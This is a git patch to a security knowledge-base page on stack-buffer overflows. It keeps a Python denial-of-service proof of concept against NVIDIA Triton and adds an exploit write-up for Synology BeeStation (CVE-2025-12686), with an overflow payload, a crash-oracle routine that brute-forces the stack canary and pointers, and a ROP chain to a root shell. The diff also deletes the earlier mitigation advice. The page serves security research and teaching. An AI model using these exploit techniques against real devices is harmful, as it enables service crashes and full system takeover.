From 9fea04e72b442b7d1283c81201e781ba60e77dcc Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 27 Nov 2025 18:33:29 +0000 Subject: [PATCH] Add content from: Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Jou... --- .../stack-overflow/README.md | 54 ++++++++++++------- 1 file changed, 36 insertions(+), 18 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index b58b8bdbaa4..f928274e438 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -140,10 +140,7 @@ url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple: - -* Always provide a **maximum field width** (e.g. `%511s`). -* Prefer safer alternatives such as `snprintf`/`strncpy_s`. +Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). ### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) @@ -165,6 +162,9 @@ if (n > 0) { 3. By abusing **HTTP _chunked transfer-encoding_**, a client can force the request to be split into **hundreds-of-thousands of 6-byte chunks** (`"1\r\nA\r\n"`). This makes `n` grow unbounded until the stack is exhausted. #### Proof-of-Concept (DoS) +
+Chunked DoS PoC + ```python #!/usr/bin/env python3 import socket, sys @@ -188,30 +188,48 @@ def exploit(host="localhost", port=8000, chunks=523_800): if __name__ == "__main__": exploit(*sys.argv[1:]) ``` + +
A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build. -#### Patch & Mitigation -The 25.07 release replaces the unsafe stack allocation with a **heap-backed `std::vector`** and gracefully handles `std::bad_alloc`: +### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter) -```c++ -std::vector v_vec; -try { - v_vec = std::vector(n); -} catch (const std::bad_alloc &e) { - return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); -} -struct evbuffer_iovec *v = v_vec.data(); +Synacktiv’s Pwn2Own 2025 chain abused a pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` on port 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes attacker input into a 4096-byte stack buffer but wrongly sets `decoded_len = auth_info->len`. Because the CGI worker forks per request, every child inherits the parent’s stack canary, so one stable overflow primitive is enough to both corrupt the stack and leak all required secrets. + +#### Base64-decoded JSON as a structured overflow +The decoded blob must be valid JSON and include `"state"` and `"code"` keys; otherwise, the parser throws before the overflow is useful. Synacktiv solved this by Base64-encoding a payload that decodes to JSON, then a NUL byte, then the overflow stream. `strlen(decoded)` stops at the NUL so parsing succeeds, but `SLIBCBase64Decode` already overwrote the stack past the JSON object, covering the canary, saved RBP, and return address. + +```python +pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader +pld += b"A"*4081 # reach the canary slot +pld += marker_bytes # guessed canary / pointer data +send_request(pld) +``` + +#### Crash-oracle bruteforcing of canaries & pointers +`synoscgi` forks once per HTTP request, so all children share the same canary, stack layout, and PIE slide. The exploit treats the HTTP status code as an oracle: a `200` response means the guessed byte preserved the stack, while `502` (or a dropped connection) means the process crashed. Brute-forcing each byte serially recovers the 8-byte canary, a saved stack pointer, and a return address inside `libsynobeeadmincenter.so`: + +```python +def bf_next_byte(prefix): + for guess in range(0x100): + try: + if send_request(prefix + bytes([guess])).status_code == 200: + return bytes([guess]) + except requests.exceptions.ReadTimeout: + continue + raise RuntimeError("oracle lost sync") ``` -Lessons learned: -* Never call `alloca()` with attacker-controlled sizes. -* Chunked requests can drastically change the shape of server-side buffers. -* Validate / cap any value derived from client input *before* using it in memory allocations. +`bf_next_ptr` simply calls `bf_next_byte` eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes. + +#### From leaks to ROP & execution +Once the library base is known, common gadgets (`pop rdi`, `pop rsi`, `mov [rdi], rsi; xor eax, eax; ret`) build an `arb_write` primitive that stages `/bin/bash`, `-c`, and the attacker command on the leaked stack address. Finally, the chain sets up the calling convention for `SLIBCExecl` (a BeeStation wrapper around `execl(2)`), yielding a root shell without needing a separate info-leak bug. ## References * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) * [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +* [Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey](https://www.synacktiv.com/en/publications/breaking-the-beestation-inside-our-pwn2own-2025-exploit-journey.html) {{#include ../../banners/hacktricks-training.md}}